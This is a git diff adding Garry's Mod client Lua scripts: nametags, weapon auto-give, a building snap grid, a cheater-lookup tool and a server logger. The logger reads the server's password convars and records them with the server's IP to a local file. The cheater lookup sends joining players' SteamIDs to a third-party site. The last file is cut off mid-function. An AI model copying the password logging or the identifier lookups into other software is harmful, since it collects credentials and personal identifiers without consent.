10/lua/HeX/client/cl_NameTags.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_NameTags.lua new file mode 100644 index 0000000..fd99355 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_NameTags.lua @@ -0,0 +1,38 @@ + + +local Enabled = CreateClientConVar("hex_nametags", 1, true, false) + + +surface.CreateFont("coolvetica", 40, 400, true, false, "CV20", true) +local offset = Vector(0,0,85) + + +function HeX.ShowNameTags(ply) + if not (Enabled:GetBool() and ValidEntity(ply) and ply:Alive() and ply != LocalPlayer()) then return end + + local ang = LocalPlayer():EyeAngles() + local pos = ply:GetPos() + offset + ang:Up() + local col = team.GetColor(ply:Team()) + + ang:RotateAroundAxis(ang:Forward(), 90) + ang:RotateAroundAxis(ang:Right(), 90) + + cam.Start3D2D(pos, Angle(0, ang.y, 90), 0.25) + draw.DrawText(ply:Nick(), "CV20", 2, 2, col, TEXT_ALIGN_CENTER) + cam.End3D2D() +end + + + +timer.Simple(1, function() + if (HSP and HSP.ShowNameTags) then + hook.Remove("PostPlayerDraw", "HSP.ShowNameTags") + print("[HeX] Removed HSP.ShowNameTags, loading custom") + end + + hook.Add("PostPlayerDraw", "HeX.ShowNameTags", HeX.ShowNameTags) +end) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_PlayerSpawn.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_PlayerSpawn.lua new file mode 100644 index 0000000..c5d3d44 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_PlayerSpawn.lua @@ -0,0 +1,78 @@ + + +local Enabled = CreateClientConVar("hex_givesweps", 1, true, false) + +local function HCallPlayerSpawn() + for k,v in pairs( player.GetAll() ) do + if ValidEntity(v) then + local Alive = v:Alive() + + if Alive then + if not v.DoneOne then + v.DoneOne = true + v.DoneTwo = false + hook.Call("LocalPlayerSpawn", nil, v) + end + else + if not v.DoneTwo then + v.DoneTwo = true + v.DoneOne = false + hook.Call("LocalPlayerDeath", nil, v) + end + end + end + end +end +hook.Add("Think", "HCallPlayerSpawn", HCallPlayerSpawn) + + +local meta = FindMetaTable("Player") +function meta:SelectWeapon(kwc) + if not self == LocalPlayer() then + ErrorNoHalt("Can't call meta:SelectWeapon on non-LocalPlayer!\n", 2) + return + end + + RunConsoleCommand("use", kwc) +end +function meta:Give(kwc) + if not self == LocalPlayer() then + ErrorNoHalt("Can't call meta:Give on non-LocalPlayer!\n", 2) + return + end + + RunConsoleCommand("gm_giveswep", kwc) +end +function meta:Spawn(kwc) + if not self == LocalPlayer() then + ErrorNoHalt("Can't call meta:Spawn on non-LocalPlayer!\n", 2) + return + end + + RunConsoleCommand("+jump") + timer.Simple(0.1, RunConsoleCommand, "-jump") +end + + +local function GiveAK47(ply) + if Enabled:GetBool() and ply == LocalPlayer() then + ply:Give("weapon_tmp") + ply:Give("weapon_ak47") + ply:SelectWeapon("weapon_physgun") + end +end +hook.Add("LocalPlayerSpawn", "GiveAK47", GiveAK47) + + +--[[ +local function LocalPlayerDeath(ply) + print("! dead: ", ply) +end +hook.Add("LocalPlayerDeath", "LocalPlayerDeath", LocalPlayerDeath) +]] + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Rings.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Rings.lua new file mode 100644 index 0000000..f115b29 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Rings.lua @@ -0,0 +1,42 @@ + + + +local Enabled = CreateClientConVar("hex_rings", 1, true, true) +local Alpha = CreateClientConVar("hex_rings_alpha", 60, true, true) +local Mat = Material("SGM/playercircle") + +local StartOffset = Vector(0,0,50) +local EndOffset = Vector(0,0,-300) +local TraceLine = {} + +function HeX.ShowPlayerRings(ply) + if ValidEntity(ply) and Enabled:GetBool() and not ply:InVehicle() then + TraceLine.start = ply:GetPos() + StartOffset + TraceLine.endpos = TraceLine.start + EndOffset + TraceLine.filter = ply + + local trace = util.TraceLine(TraceLine) + if not trace.HitWorld then + trace.HitPos = ply:GetPos() + end + + local col = ply:TeamColor() + render.SetMaterial(Mat) + render.DrawQuadEasy( trace.HitPos + trace.HitNormal, trace.HitNormal, 48, 48, Color(col.r,col.g,col.b,Alpha:GetInt()) ) + end +end + + +timer.Simple(1, function() + if (HSP and HSP.ShowPlayerRings) then + hook.Remove("PrePlayerDraw", "HSP.ShowPlayerRings") + print("[HeX] Removed HSP.ShowPlayerRings, loading custom") + end + + hook.Add("PrePlayerDraw", "HeX.ShowPlayerRings", HeX.ShowPlayerRings) +end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SRVLog.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SRVLog.lua new file mode 100644 index 0000000..93771fc --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SRVLog.lua @@ -0,0 +1,73 @@ + +_G.LogTable = {} +_G.SRVLog = "" + +function HeX.SRVLog(bypass) + local LogFile = Format("SRVLog/%s.txt", os.date("%d-%m-%Y_%A")) + local ServerFullDate = os.date("%d-%m-%y %I:%M%p") + + local ServerIP = "E.E.E.E" + if client and client.GetIP then + ServerIP = tostring( client.GetIP() ) + end + + local Nick = LocalPlayer():Nick() + if friends and friends.GetPersonaName then + Nick = friends.GetPersonaName() + end + + local ServerPW = GetConVarString("sv_password") + if (ServerPW == "" or ServerPW == "beta") then + ServerPW = GetConVarString("password") + + if (ServerPW == "" or ServerPW == "beta") then + ServerPW = "None" + end + end + + + LogTable = { + Format("[%s]\n", ServerFullDate), + Format("%s\n", GetHostName() ), + Format("IP: %s\n", ServerIP), + Format("PW: %s\n", ServerPW), + Format("GM: %s\n", GAMEMODE.Name), + Format("Players: %s/%s\n", #player.GetAll(), MaxPlayers() ), + Format("Map: %s\n", game.GetMap() ), + Format("Nick: %s\n", Nick), + Format("Ver: U%s\n", VERSION), + } + + local LogStr = "" + for k,v in ipairs(LogTable) do + LogStr = LogStr..v + end + SRVLog = LogStr + + if not bypass then + LogStr = LogStr.."\n" + + if not file.Exists(LogFile) then + file.Write(LogFile, Format("HeX's Server Log created at [%s]\n\n", ServerFullDate) ) + end + file.Append(LogFile, LogStr) + + Msg("\nSRVLogged:\n\n"..LogStr) + end +end +concommand.Add("srvlog_logserver", function() HeX.SRVLog() end) + +timer.Simple(5, function() + if not SinglePlayer() then + HeX.SRVLog() + end +end) + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_ScreenLogger.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_ScreenLogger.lua new file mode 100644 index 0000000..84db754 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_ScreenLogger.lua @@ -0,0 +1,21 @@ + + + + + +local Hight = ScrH() - 20 + +local function ScreenLogger() + if client.IsTakingScreenshot() then + if not _G.SRVLog then return end + + local LogStr = _G.SRVLog:gsub("\n", " | ") + + draw.SimpleText(LogStr, "TabLarge", 10, Hight, RED) + end +end +hook.Add("HUDPaint", "ScreenLogger", ScreenLogger) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SkidCheck.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SkidCheck.lua new file mode 100644 index 0000000..57edc77 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SkidCheck.lua @@ -0,0 +1,266 @@ + +local Skiddies = {} + +--- Setup Skiddie lists --- +Bulk = {} +SHers = {} + +HeX.include("HeX/hx_SkidList.lua") + +local function Merge(tab) + for k,v in pairs(tab) do + Skiddies[k] = v + end + tab = nil +end +Merge(Bulk) +Merge(SHers) + +Bulk = nil +SHers = nil + + +local function SBCheckPlayer(ply) + http.Get("http://sethblock.tk/api.php?user="..ply:SteamID(), "", function(what,size) + if ValidEntity(ply) and what:find("SethHack") then + ply.IsSethBlock = true + end + end) +end + +local function SBEntityCreated(ent) + if ValidEntity(ent) and ent:IsPlayer() and (ent != LocalPlayer()) then + SBCheckPlayer(ent) + end +end +hook.Add("OnEntityCreated", "SkidCheck", SBEntityCreated) + + + + +local StartSB = nil +local Done = {} + +local function SkidCheck() + for k,v in pairs( player.GetHumans() ) do + if not ValidEntity(v) then continue end + + if not StartSB then + StartSB = true + + timer.Simple(k, function() + if ValidEntity(v) then + SBCheckPlayer(v) + end + end) + end + + + local SID = v:SteamID() + local Tab = Skiddies[SID] + + if Tab and not Done[SID] then + local Name = (Tab.Name or v:Nick()).." ("..SID..")" + local wSound = Sound("npc/scanner/combat_scan"..math.random(1,3)..".wav") + local bSound = nil + local DoTab = nil + + if Tab.SH then + DoTab = true + bSound = true + + chat.AddText(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", v, GREY, " is a ", RED, "SETHHACKER! ", GREEN, Name) + + elseif v.IsSethBlock then + v.IsSethBlock = nil + DoTab = true + bSound = true + + chat.AddText(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", v, GREY, " is on ", RED, "SethBlock! ", GREEN, Name) + + elseif Tab.Skid then + DoTab = true + chat.AddText(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", v, GREY, " is a ", KCHEAT, "Skiddie! ", GREEN, Name) + + else + DoTab = true + chat.AddText(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", v, GREY, " is ", PINK, Name) + end + + if DoTab then Done[SID] = true end + if bSound then wSound = Sound("ambient/machines/thumper_shutdown1.wav") end + surface.PlaySound(wSound) + end + end +end +timer.Create("SkidCheck", 5, 0, SkidCheck) + + +local function ResetSkiddies(ply,cmd,args) + StartSB = nil + Done = {} + + print("[SkidCheck] Messages reset, expect spam in 5s!") +end +concommand.Add("sk_reset", ResetSkiddies) + + + + +--- === Parsers / Dumpers === --- +local function SKDumpForHAC(ply,cmd,args) + for k,v in pairs(Skiddies) do + local Name = v.Name or "None" + local IsSH = v.SH + + if IsSH then + file.Write("skiddies/"..k:gsub(":","_")..".txt", Format("SH\n%s\nSKDump", Name) ) + end + end + + print("[SkidCheck] Dumped all SHers in HAC format to data/skiddies/") +end +concommand.Add("sk_dump_hac", SKDumpForHAC) + + +local THIS_RUN_NAME = "CrowBarGaming: " +local function ProcessLogOfIDS(ply,cmd,args) + if (#args == 0) then + print("! no args") + return + end + + local Kfile = args[1]:gsub(".txt", "") + + local Data = file.Read(Kfile..".txt") + + if not Data then + print("! no file for "..Data) + return + end + + local KTab = string.Explode("\n", Data) + + local Temp = {} + for k,v in pairs(KTab) do + if v:find("NoInit") then continue end --SSHD log + + local SID = v:match("(STEAM_(%d+):(%d+):(%d+))") + --local Name = THIS_RUN_NAME + local Name = Format("%s%s", THIS_RUN_NAME, v:match("Logged: (.+)STEAM") ) + --local Name = Format("%s%s", THIS_RUN_NAME, v:match(";(.+)") ) + + Name = Name:Replace(" (", "") + print("! SID,Name: ", SID, Name) + + if not (Name and SID) then continue end + + local Tab = {Name = Name, SID = SID} + if not Temp[ SID ] then + Temp[ SID ] = Tab + end + end + + local this = 0 + local tot = 0 + for k,v in pairs(Temp) do + tot = tot + 1 + local Name = v.Name + local SID = v.SID + + if not Skiddies[ SID ] then + --if not SHers[ SID ] then + this = this + 1 + --local str = Format('\t["%s"] = {Name = "%s", SH = true},\n', SID, Name) + local str = Format('\t["%s"] = {Name = "%s", Skid = true},\n', SID, Name) + file.Append("sk_processed_"..Kfile..".txt", str) + end + end + + print("! saved "..this.." new SHers! (out of "..tot.." total in: "..Kfile..")") +end +concommand.Add("sk_process", ProcessLogOfIDS) + + +--[[ +for k,v in pairs(NewSkid) do + local Tab = Skiddies[v] + + if Tab then + /* + local Name = (Tab.Name or v).." ("..v..")" + + if Tab.SH then + print(v, " is a SETHHACKER! ", Name) + elseif Tab.Skid then + print(v, " is a Known Cheater! ", Name) + else + print(v, " is ", Name) + end + */ + else + local Name = "Blackops" + local IsSH = true + + local str = "" + if Name then + str = str..'Name = "'..Name..'", ' + end + + local log = "bulk.txt" + if IsSH then + log = "seth.txt" + str = str.."SH = true" + else + str = str.."Skid = true" + end + + local Skid = Format('\t["%s"] = {%s},\n', v, str) + file.Append(log, Skid) + end +end + + + + + + +local NewTot = {} + +local i = 0 +for k,v in pairs(NewTot) do + i = i + 1 + local Name = v.Name + local IsSH = v.SH + + local str = "" + if Name then + str = str..'Name = "'..Name..'", ' + end + + local log = "bulk.txt" + if IsSH then + log = "seth.txt" + str = str.."SH = true" + else + str = str.."Skid = true" + end + + local Skid = Format('\t["%s"] = {%s},\n', k, str) + file.Append(log, Skid) +end + +print("! saved "..i.." cheaters!") + +]] + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SmartSnap.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SmartSnap.lua new file mode 100644 index 0000000..1bc2ddc --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SmartSnap.lua @@ -0,0 +1,790 @@ +// Written by Syranide, me@syranide.com Fixed By Raklatif :D + + +local target = { active = false } +local snaptarget = { active = false } +local snapkey = false +local snaptime = false +local snaplock = false +local snapclick = false +local snapclickfade = 0 +local snapcursor = false +local snapspawnmenu = false + +local cache = { + vPlayerPos = 0, + vLookPos = 0, + vLookClipPos = 0, + vLookVector = 0, +} + +local condefs = { + snap_enabled = 1, + snap_gcboost = 1, + snap_gcstrength = 125, + snap_hidegrid = 0, + snap_clickgrid = 0, + snap_toggledelay = 0, + snap_disableuse = 0, + snap_allentities = 0, + snap_alltools = 0, + snap_enabletoggle = 0, + snap_lockdelay = 0.5, + snap_distance = 250, + snap_gridlimit = 16, + snap_gridsize = 8, + snap_gridalpha = 0.4, + snap_gridoffset = 0.5, + snap_boundingbox = 1, + snap_revertaim = 1, + snap_centerline = 1, +} + +local convars = {} + +for key,value in pairs(condefs) do + convars[#convars + 1] = key +end + + +local modelsaveset = {} +local modeloffsets = {} + +--------- + +local function DrawScreenLine(vsA, vsB) + surface.DrawLine(vsA.x, vsA.y, vsB.x, vsB.y) +end + +local function ToScreen(vWorld) + local vsScreen = vWorld:ToScreen() + return Vector(vsScreen.x, vsScreen.y, 0) +end + +local function PointToScreen(vPoint) + if cache.vLookVector:DotProduct(vPoint - cache.vLookClipPos) > 0 then + return ToScreen(vPoint) + end +end + +local function LineToScreen(vStart, vEnd) + local dotStart = cache.vLookVector:DotProduct(vStart - cache.vLookClipPos) + local dotEnd = cache.vLookVector:DotProduct(vEnd - cache.vLookClipPos) + + if dotStart > 0 and dotEnd > 0 then + return ToScreen(vStart), ToScreen(vEnd) + elseif dotStart > 0 or dotEnd > 0 then + local vLength = vEnd - vStart + local vIntersect = vStart + vLength * ((cache.vLookClipPos:DotProduct(cache.vLookVector) - vStart:DotProduct(cache.vLookVector)) / vLength:DotProduct(cache.vLookVector)) + + if dotStart <= 0 then + return ToScreen(vIntersect), ToScreen(vEnd) + else + return ToScreen(vStart), ToScreen(vIntersect) + end + end +end + +local function RayQuadIntersect(vOrigin, vDirection, vPlane, vX, vY) + local vp = vDirection:Cross(vY) + + local d = vX:DotProduct(vp) + if (d <= 0.0) then return end + + local vt = vOrigin - vPlane + local u = vt:DotProduct(vp) + if (u < 0.0 or u > d) then return end + + local v = vDirection:DotProduct(vt:Cross(vX)) + if (v < 0.0 or v > d) then return end + + return Vector(u / d, v / d, 0) +end + +------------ + +local function OnInitialize() + for key,value in pairs(condefs) do + CreateClientConVar(key, value, true, false) + end + + for _,filename in ipairs(file.Find('smartsnap_offsets_*.txt')) do + local file = file.Read(filename) + if file then + lines = string.Explode("\n", file) + header = table.remove(lines, 1) + if header == "SMARTSNAP_OFFSETS" then + for _,line in ipairs(lines) do + local pos = string.find(line, '=') + if pos then + local key = string.lower(string.Trim(string.sub(line, 1, pos - 1))) + local value = string.Trim(string.sub(line, pos + 1)) + + local c = string.Explode(",", value) + modeloffsets[key]= { tonumber(c[1]), tonumber(c[2]), tonumber(c[3]), tonumber(c[4]), tonumber(c[5]), tonumber(c[6]) } + end + end + end + end + end +end + +local function OnShutDown() +--[[ + output = file.Read('smartsnap_offsets_custom.txt') + if output == nil then + output = "SMARTSNAP_OFFSETS\n" + end + + for model,_ in pairs(modelsaveset) do + output = output .. model .. '=' .. table.concat(modeloffsets[model], ",") .. "\n" + end + + file.Write('smartsnap_offsets_custom.txt', output) + ]] +end + +local function GetDevOffset() + local model = string.lower(target.entity:GetModel()) + + if modeloffsets[model] == nil then + modeloffsets[model] = { 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 } + end + + return modeloffsets[model] +end + +concommand.Add("snap_dev_alloffset", function(player, command, arguments) if target.active == true then if #arguments >= 1 then local v = GetDevOffset() for i=1,6 do v[i] = v[i] + tonumber(arguments[1]) end end end end) +concommand.Add("snap_dev_gridoffset", function(player, command, arguments) if target.active == true then if #arguments >= 1 then local v = GetDevOffset() v[target.face] = v[target.face] + tonumber(arguments[1]) end end end) +concommand.Add("snap_dev_saveoffset", function(player, command, arguments) if target.active == true then local v = GetDevOffset() modelsaveset[string.lower(target.entity:GetModel())] = true end end) + +local function SnapToggleGrid() + if (GetConVarNumber("snap_enabled") == 0) then + RunConsoleCommand('snap_enabled', '1') + else + RunConsoleCommand('snap_enabled', '0') + end +end + +local function SnapPress() + if GetConVarNumber("snap_clickgrid") != 0 and !snapclick then + snapclick = true + snapclickfade = CurTime() + elseif GetConVarNumber("snap_clickgrid") == 0 or snapclick then + if (snaplock or snapcursor) then + snaptime = false + else + local toggledelay = GetConVarNumber("snap_toggledelay") + if (toggledelay > 0 and snaptime and snaptime + toggledelay > CurTime()) then + SnapToggleGrid() + snaptime = false + snaplock = false + else + snaptime = CurTime() + end + end + + snapkey = target.active + + if (!snapcursor) then + snaplock = false + end + end +end + +local function SnapRelease() + snapkey = false +end + +local function SnapLock() + snaplock = !snaplock +end + +local function OnSpawnMenu() + snapspawnmenu = true +end + +local function OnKeyPress(player, key) + if (key == IN_USE and GetConVarNumber("snap_disableuse") == 0) then + SnapPress() + end +end + +local function OnKeyRelease(player, key) + if (key == IN_USE and GetConVarNumber("snap_disableuse") == 0) then + SnapRelease() + end +end + +local function OnThink() + if (vgui.CursorVisible()) then + if (!snapcursor and snaplock) then + snaptarget = table.Copy(target) + end + + snaptime = false + snapcursor = true + else + if (snapcursor and snaplock) then + target = snaptarget + end + + snapspawnmenu = false + snapcursor = false + end + + if (GetConVarNumber("snap_enabletoggle") != 0) then + if (snapkey and snaptime and !snaplock) then + if (CurTime() > snaptime + GetConVarNumber("snap_lockdelay")) then + snaplock = true + snaptime = false + end + end + end + + local locked = target.locked and target.active + target.locked = (snapkey or snaplock and !snapcursor) and target.active + + if (!target.locked and locked and GetConVarNumber("snap_revertaim") != 0) then + if (snapcursor) then + local screen = target.entity:LocalToWorld(target.vector):ToScreen() + gui.SetMousePos(math.Round(screen.x), math.Round(screen.y)) + else + local angles = (target.entity:LocalToWorld(target.vector) - LocalPlayer():GetShootPos()):Angle() + LocalPlayer():SetEyeAngles(angles) + end + end +end + +local function CalculateGridAxis(L) + local length = L:Length() + local grid = math.Clamp(math.floor(length / (2 * GetConVarNumber("snap_gridsize"))) * 2, 2, GetConVarNumber("snap_gridlimit")) + local offset = math.Clamp(GetConVarNumber("snap_gridoffset") / length, 0, 1 / grid) + local scale = 1 - offset * 2 + + return { + length = length, + offset = offset, + scale = scale, + grid = grid, + } +end + +local function CalculateSnap(X, Y, v) + local LX = CalculateGridAxis(X) + local LY = CalculateGridAxis(Y) + + local BX = math.Clamp(math.Round(v.x * LX.grid), 0, LX.grid) + local BY = math.Clamp(math.Round(v.y * LY.grid), 0, LY.grid) + + if BX == 1 and v.x < (1 / LX.grid + LX.offset) / 2 then BX = 0 end + if BX == LX.grid - 1 and v.x > 1 - (1 / LX.grid + LX.offset) / 2 then BX = LX.grid end + if BY == 1 and v.y < (1 / LY.grid + LY.offset) / 2 then BY = 0 end + if BY == LY.grid - 1 and v.y > 1 - (1 / LY.grid + LY.offset) / 2 then BY = LY.grid end + + local RX = X * (BX / LX.grid) + local RY = Y * (BY / LY.grid) + + if BX == 0 then RX = X * math.Clamp(LX.offset, 0, 1 / LX.grid) end + if BX == LX.grid then RX = X * (1 - math.Clamp(LX.offset, 0, 1 / LX.grid)) end + if BY == 0 then RY = Y * math.Clamp(LY.offset, 0, 1 / LY.grid) end + if BY == LY.grid then RY = Y * (1 - math.Clamp(LY.offset, 0, 1 / LY.grid)) end + + return RX + RY +end + +local function DrawGridLines(vOrigin, vSX, vSY, gridLines, offsetX, offsetY, sign) + local centerline = (GetConVarNumber("snap_centerline") != 0) + + local vTemp = vOrigin + vSX * 0.5 + local vX = vTemp + vSY * (offsetY) + local vY = vTemp + vSY * (1 - offsetY) + + local vOffset, temp + local vsNormal = (ToScreen(vX) - ToScreen(vY)):Normalize() + + if math.abs(vsNormal.x) < 1 - math.abs(vsNormal.y) then temp = -0.5 * sign else temp = 0.5 * sign end + if math.abs(vsNormal.x) < math.abs(vsNormal.y) then vsOffset = Vector(temp, 0, 0) else vsOffset = Vector(0, temp, 0) end + + if offsetX < 1 / gridLines then + local vTemp = vOrigin + vSX * offsetX + local vX = vTemp + vSY * offsetY + local vY = vTemp + vSY * (1 - offsetY) + + local vsX, vsY = LineToScreen(vX, vY) + if (vsX) then DrawScreenLine(vsX + vsOffset, vsY + vsOffset) end + end + + for i = 1,gridLines-1 do + local vTemp = vOrigin + vSX * (i / gridLines) + local vX = vTemp + vSY * offsetY + local vY = vTemp + vSY * (1 - offsetY) + + local vsX, vsY = LineToScreen(vX, vY) + + if (vsX) then + if (gridLines / i == 2 && centerline) then + DrawScreenLine(vsX + vsOffset * -1, vsY + vsOffset * -1) + DrawScreenLine(vsX + vsOffset * 3, vsY + vsOffset * 3) + else + DrawScreenLine(vsX + vsOffset, vsY + vsOffset) + end + end + end + + if offsetX < 1 / gridLines then + local vTemp = vOrigin + vSX * (1 - offsetX) + local vX = vTemp + vSY * offsetY + local vY = vTemp + vSY * (1 - offsetY) + + local vsX, vsY = LineToScreen(vX, vY) + if (vsX) then DrawScreenLine(vsX + vsOffset, vsY + vsOffset) end + end +end + +local function DrawGrid(vOrigin, vSX, vSY) + local LX = CalculateGridAxis(vSX) + local LY = CalculateGridAxis(vSY) + + surface.SetDrawColor(0, 0, 0, math.Round(GetConVarNumber("snap_gridalpha") * 255)) + DrawGridLines(vOrigin, vSX, vSY, LX.grid, LX.offset, LY.offset, 1) + DrawGridLines(vOrigin, vSY, vSX, LY.grid, LY.offset, LX.offset, 1) + + surface.SetDrawColor(255, 255, 255, math.Round(GetConVarNumber("snap_gridalpha") * 255)) + DrawGridLines(vOrigin, vSX, vSY, LX.grid, LX.offset, LY.offset, -1) + DrawGridLines(vOrigin, vSY, vSX, LY.grid, LY.offset, LX.offset, -1) +end + +local function DrawBoundaryLines(vOrigin, vOpposite) + local vPoint + + if (vOrigin:Distance(vOpposite) > 5) then + vPoint = vOrigin + (vOpposite - vOrigin):Normalize() * 5 + else + vPoint = vOrigin + (vOpposite - vOrigin) / 2 + end + + local vsA, vsB = LineToScreen(vPoint, vOrigin) + + if (vsA) then + surface.SetDrawColor(0, 0, 255, 192) + DrawScreenLine(vsA, vsB) + end +end + +local function DrawBoundary(vOrigin, vX, vY, vZ) + DrawBoundaryLines(vOrigin, vX) + DrawBoundaryLines(vOrigin, vY) + DrawBoundaryLines(vOrigin, vZ) +end + +local function DrawSnapCross(vsCenter, r, g, b) + surface.SetDrawColor(0, 0, 0, 255) + DrawScreenLine(vsCenter + Vector(-2.5, -2.0), vsCenter + Vector( 2.5, 3.0)) + DrawScreenLine(vsCenter + Vector( 1.5, -2.0), vsCenter + Vector(-3.5, 3.0)) + + surface.SetDrawColor(r, g, b, 255) + DrawScreenLine(vsCenter + Vector(-1.5, -2.0), vsCenter + Vector( 3.5, 3.0)) + DrawScreenLine(vsCenter + Vector( 2.5, -2.0), vsCenter + Vector(-2.5, 3.0)) +end + +local function ComputeEdges(entity, obbmax, obbmin) + return { + lsw = entity:LocalToWorld(Vector(obbmin.x, obbmin.y, obbmin.z)), + lse = entity:LocalToWorld(Vector(obbmax.x, obbmin.y, obbmin.z)), + lnw = entity:LocalToWorld(Vector(obbmin.x, obbmax.y, obbmin.z)), + lne = entity:LocalToWorld(Vector(obbmax.x, obbmax.y, obbmin.z)), + usw = entity:LocalToWorld(Vector(obbmin.x, obbmin.y, obbmax.z)), + use = entity:LocalToWorld(Vector(obbmax.x, obbmin.y, obbmax.z)), + unw = entity:LocalToWorld(Vector(obbmin.x, obbmax.y, obbmax.z)), + une = entity:LocalToWorld(Vector(obbmax.x, obbmax.y, obbmax.z)), + } +end + +local function OnPaintHUD() + target.active = false + + if GetConVarNumber("snap_clickgrid") != 0 and !snapclick then return end + + snapclickprev = snapclick + snapclick = snapclickprev and snapclickfade > CurTime() + + if (GetConVarNumber("snap_enabled") == 0) then return end + if (!LocalPlayer():Alive() or LocalPlayer():InVehicle()) then return end + + if (target.locked) then + if (!target.entity:IsValid()) then return end + else + local trace = LocalPlayer():GetEyeTrace() + cache.vLookTrace = trace + if (!trace.HitNonWorld) then return end + + local entity = trace.Entity + if (entity == nil) then return end + if (!entity:IsValid()) then return end + + local class = entity:GetClass() + if (class != 'prop_physics' and class != 'phys_magnet' and class != 'gmod_spawner' and GetConVarNumber('snap_allentities') == 0) then return end + + if (!LocalPlayer():GetActiveWeapon():IsValid()) then return end + if (LocalPlayer():GetActiveWeapon():GetClass() == 'weapon_physgun') then return end + if (LocalPlayer():GetActiveWeapon():GetClass() != 'gmod_tool' and GetConVarNumber('snap_alltools') == 0) then return end + + target.entity = entity + end + + --ErrorNoHalt(collectgarbage("count")) + if GetConVarNumber("snap_gcboost") != 0 then + collectgarbage("step", GetConVarNumber("snap_gcstrength")) + end + + snapclick = snapclickprev + snapclickfade = CurTime() + 0.25 + + -- updating the cache perhaps shouldn't be done here, CalcView? + cache.vLookPos = LocalPlayer():GetShootPos() + cache.vLookVector = LocalPlayer():GetCursorAimVector() + cache.vLookClipPos = cache.vLookPos + cache.vLookVector * 3 + + local model = string.lower(target.entity:GetModel()) + local offsets = modeloffsets[model] + + if !offsets then + local offset = 0.25 + offsets = { offset, offset, offset, offset, offset, offset } + end + + if cache.eEntity != target.entity or cache.vEntAngles != target.entity:GetAngles() or vEntPosition != target.entity:GetPos() then + cache.eEntity = target.entity + cache.vEntAngles = target.entity:GetAngles() + cache.vEntPosition = target.entity:GetPos() + + local obbmax = target.entity:OBBMaxs() + local obbmin = target.entity:OBBMins() + local obvsnap = ComputeEdges(target.entity, obbmax, obbmin) + + local obbmax = target.entity:OBBMaxs() - Vector(offsets[5], offsets[3], offsets[1]) + local obbmin = target.entity:OBBMins() + Vector(offsets[6], offsets[4], offsets[2]) + local obvgrid = ComputeEdges(target.entity, obbmax, obbmin) + + local faces = { + { obvgrid.unw, obvgrid.usw - obvgrid.unw, obvgrid.une - obvgrid.unw, obvgrid.lnw - obvgrid.unw, Vector(0, 0, -offsets[1]) }, + { obvgrid.lsw, obvgrid.lnw - obvgrid.lsw, obvgrid.lse - obvgrid.lsw, obvgrid.usw - obvgrid.lsw, Vector(0, 0, offsets[2]) }, + { obvgrid.unw, obvgrid.une - obvgrid.unw, obvgrid.lnw - obvgrid.unw, obvgrid.usw - obvgrid.unw, Vector(0, -offsets[3], 0) }, + { obvgrid.usw, obvgrid.lsw - obvgrid.usw, obvgrid.use - obvgrid.usw, obvgrid.unw - obvgrid.usw, Vector(0, offsets[4], 0) }, + { obvgrid.une, obvgrid.use - obvgrid.une, obvgrid.lne - obvgrid.une, obvgrid.unw - obvgrid.une, Vector(-offsets[5], 0, 0) }, + { obvgrid.unw, obvgrid.lnw - obvgrid.unw, obvgrid.usw - obvgrid.unw, obvgrid.une - obvgrid.unw, Vector( offsets[6], 0, 0) }, + } + + cache.aGrid = obvgrid + cache.aSnap = obvsnap + cache.aFaces = faces + end + + local obvgrid = cache.aGrid + local obvsnap = cache.aSnap + local faces = cache.aFaces + + if (!target.locked) then + -- should improve this by expanding the bounding box or something instead! + -- create a larger bounding box and then planes for each side, and check distance from the plane + -- separate function perhaps? + local distance = (LocalPlayer():GetPos() - target.entity:GetPos()):Length() - (obvgrid.unw - obvgrid.lse):Length() + if (distance > GetConVarNumber("snap_distance")) then return end + + for face,vertices in ipairs(faces) do + intersection = RayQuadIntersect(cache.vLookPos, cache.vLookVector, vertices[1], vertices[2], vertices[3]) + if (intersection) then + target.face = face + break + end + end + + if intersection == nil then return end + end + + if (GetConVarNumber("snap_boundingbox") != 0) then + 